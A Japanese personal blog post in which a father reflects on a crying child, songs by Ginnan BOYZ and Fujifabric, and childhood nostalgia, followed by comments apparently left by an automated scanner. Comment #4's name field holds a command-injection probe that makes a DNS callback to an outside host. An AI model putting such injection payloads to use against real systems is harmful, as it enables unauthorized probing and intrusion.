若者のすべて

このミニ連続記も今日で終了。また元には戻れない、元の生活に戻って、この日々も想い出になる。4日の夜は、ひかりの深夜泣くじゃくりが1時間続き、違った立場の二人は悪戦苦闘した。なぜ泣いているのかが分からない。泣いているのが、我が子ではなく好きなあの娘だとしても、、理由がわからなければ・・・銀杏BOYZのように、♪あの娘を愛する為だけにああ僕は生まれてきたんだよと、どうにも出来ないこの無力さに打ち拉がれる。そういえば峯田さんとは同い年。俺は同い年に弱い。松坂世代というような括りも好き。同い年の友だちがもっとほしい。というか知り合いや仲間はいるけれど、同い年の友だちはほとんどいない。同世代の盛り上がり話が好きだ。ダウンタウンとかジャンプ漫画とか流行っていたこととか、同じ時代に吸う空気が醸成するものが確かにある。時代を掴む音楽やコトバもゾクゾクする。そういうものは若さノ特権だと思っている。そういう話が出来るとタイムスリップしたようなキモチとなって、大好きだった小学校時代を思い出す。ドロ警や基地作り、野犬狩り、野球やサッカー、ビックリマンチョコやラーメンバー、ミニ四駆、キン肉マン消しゴム、ゾイド集めなど遊びたい放題だったし、遊び相手も事欠かず、自分が全力出せていたような気がしている。話戻って、、泣いている子・娘のキモチわからないが、わかりたいよ〜と伝播させるには一番は、歌だと思う。歌を歌うことや聞くこと見ることがなにより一番いい。小さなお子達には、家にある沢山のCDやレコードを聞かせるぞ。そして、家にはない音楽を俺と家人は永遠に探し求め、偉大な音楽家たちの作品を、心のバックヤードに収納させたいと思う。俺も10代に聴いた音楽体験が、今も自分の多くを形成していて、そのメロディやメランコリックはその頃のソレと確実に繋がっている。そういったものを自分のチカラで掘り下げてきたと、我が親をみて思っていたが、時間の経過ともにその考えも変わった。必然の前に偶然が多々あり、自分のチカラだけでここまできたはずがない。新しいお子がきた今日、歌を愛するカナリアのような部屋にしようと考える。その結果が分かるのは、同じく40年後かもしれない。俺がよくアコギで弾いているフジファブリックのカバー「若者のすべて」を、ひかりは鼻歌や全力歌でほぼ毎日歌ってくれている。

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コメント: 8
  • #1

    kXvrbKwH (金曜日, 08 10月 2021 12:13)

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  • #2

    kXvrbKwH (金曜日, 08 10月 2021 12:15)

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  • #3

    kXvrbKwH (金曜日, 08 10月 2021 12:16)

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  • #4

    $(nslookup hithykudjmvajef4ec.bxss.me||perl -e "gethostbyname('hithykudjmvajef4ec.bxss.me')") (金曜日, 08 10月 2021 12:16)

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  • #5

    kXvrbKwH (金曜日, 08 10月 2021 12:16)

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  • #6

    kXvrbKwH (金曜日, 08 10月 2021 12:16)

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  • #7

    kXvrbKwH (金曜日, 08 10月 2021 12:17)

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  • #8

    kXvrbKwH (金曜日, 08 10月 2021 13:05)

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